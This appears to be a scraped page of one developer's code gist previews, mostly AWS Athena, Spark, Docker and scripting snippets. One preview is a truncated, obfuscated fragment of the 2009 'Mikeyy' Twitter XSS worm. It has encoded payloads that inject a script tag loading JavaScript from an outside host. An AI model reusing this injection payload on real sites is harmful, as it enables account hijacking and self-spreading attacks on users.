dacort

package main

import (
	"code.google.com/p/go.crypto/pbkdf2"
	"crypto/aes"
	"crypto/cipher"
	"crypto/sha1"
	"database/sql"
	"fmt"
	"log"

dacort

1. Download the JDBC driver from here: https://docs.aws.amazon.com/athena/latest/ug/connect-with-jdbc.html - I used the JDBC driver with the Athena SDK, AthenaJDBC42-2.0.35.1000.jar.

2. Start pyspark with the --jars option.

pyspark --jars AthenaJDBC42-2.0.35.1000.jar

3. Use spark.read.jdbc to connect to Athena. You need to specify either a User/Password in the properties or set the AwsCredentialsProviderClass property.

dacort

import json
import sys

BS = "0123456789abcdefghijklmnopqrstuvwxyz"

def parse_input():
    input = sys.stdin.read()
    return json.loads(input)

def to_base(n, b): 

dacort

In The Zone

When you're in the zone, nothing can stop you. Let your coworkers know what tunes you were listening to in the moment.

Overview

There are two modes in life:

• (R)ecord - when you want to make a mixtape for somebody
• (P)layback - when you want to feel the mood

dacort

FROM 895885662937.dkr.ecr.us-west-2.amazonaws.com/spark/emr-6.3.0:latest

### Switch to root for installation
USER root

### setup for conda
RUN  yum install -y wget

### Install Conda into shared location
RUN wget https://repo.anaconda.com/miniconda/Miniconda3-py39_4.10.3-Linux-x86_64.sh \

dacort

Athena CTAS Update

An approach for updating partitions in an existing table using CTAS queries.

Overview

With the release of CTAS functionality for Athena, you're now able to create derivative tables in Athena with different data formats or S3 locations.

Sometimes, though, you want to be able to add data to a partition of an existing table. As long as that partition doesn't already exist, you can do this with Athena by using CTAS with a temporary table.

dacort

var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "POST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72

dacort

package main

import (
	"encoding/json"
	"fmt"
)

var jsonStr = []byte(`
{
    "things": [

dacort

import sys
import boto3
from slacker import Slacker
import ConfigParser

import csv
from datetime import datetime

reload(sys)
sys.setdefaultencoding('utf8')

dacort

#!/bin/sh
#
#
# Poor man's version. Good 'ol bash and shell commands.

# Initialize stat counters
COPIES=0
FROM_APPS=()
TO_APPS=()